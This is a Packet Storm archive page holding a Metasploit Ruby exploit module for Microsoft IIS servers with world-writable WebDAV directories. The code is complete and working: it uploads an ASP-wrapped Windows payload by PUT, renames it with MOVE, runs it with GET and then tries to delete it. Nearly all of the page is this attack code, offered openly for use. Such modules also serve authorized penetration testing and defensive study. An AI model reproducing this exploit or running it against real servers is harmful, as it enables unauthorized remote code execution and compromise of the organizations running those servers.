what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft IIS WebDAV Write Access Code Execution

Microsoft IIS WebDAV Write Access Code Execution
Posted Feb 10, 2010
Site metasploit.com

This Metasploit module can be used to execute a payload on IIS servers that have world-writeable directories. The payload is uploaded as an ASP script using a WebDAV PUT request.

tags | exploit, asp
SHA-256 | 4ec5b093ab1cb3f7824fc0789935b123c05d0f352410b2d130c1546774dfb524

Microsoft IIS WebDAV Write Access Code Execution

Change Mirror Download
##
# $Id: iis_webdav_upload_asp.rb 8413 2010-02-08 19:12:59Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize
super(
'Name' => 'Microsoft IIS WebDAV Write Access Code Execution',
'Version' => '$Revision: 8413 $',
'Description' => %q{
This module can be used to execute a payload on IIS servers that
have world-writeable directories. The payload is uploaded as an ASP
script using a WebDAV PUT request.
},
'Author' => 'hdm',
'Platform' => 'win',
'References' =>
[
['OSVDB', '397'],
['BID', '12141']
],
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
)

register_options(
[
OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp'])
], self.class)
end

def exploit

# Generate the ASP containing the EXE containing the payload
asp = Msf::Util::EXE.to_win32pe_asp(framework,payload.encoded)
path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s)
path_tmp = path.gsub(/\....$/, ".txt")

#
# UPLOAD
#
print_status("Uploading #{asp.length} bytes to #{path_tmp}...")

res = send_request_cgi({
'uri' => path_tmp,
'method' => 'PUT',
'ctype' => 'application/octet-stream',
'data' => asp,
}, 20)

if (! res)
print_status("Upload failed on #{path_tmp} [No Response]")
return
end

if (res.code < 200 or res.code >= 300)
print_status("Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
case res.code
when 401
print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
end
return
end

#
# MOVE
#
print_status("Moving #{path_tmp} to #{path}...")

res = send_request_cgi({
'uri' => path_tmp,
'method' => 'MOVE',
'headers' => {'Destination' => path}
}, 20)

if (! res)
print_status("Move failed on #{path_tmp} [No Response]")
return
end

if (res.code < 200 or res.code >= 300)
print_status("Move failed on #{path_tmp} [#{res.code} #{res.message}]")
case res.code
when 401
print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
when 403
print_status("Warning: The web site may not allow 'Script Source Access', which is required to upload executable content.")
end
return
end

#
# EXECUTE
#
print_status("Executing #{path}...")

res = send_request_cgi({
'uri' => path,
'method' => 'GET'
}, 20)

if (! res)
print_status("Execution failed on #{path} [No Response]")
return
end

if (res.code < 200 or res.code >= 300)
print_status("Execution failed on #{path} [#{res.code} #{res.message}]")
return
end



#
# DELETE
#
print_status("Deleting #{path}, this doesn't always work...")

res = send_request_cgi({
'uri' => path,
'method' => 'DELETE'
}, 20)
if (! res)
print_status("Deletion failed on #{path} [No Response]")
return
end

if (res.code < 200 or res.code >= 300)
print_status("Deletion failed on #{path} [#{res.code} #{res.message}]")
return
end

handler
end

end

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close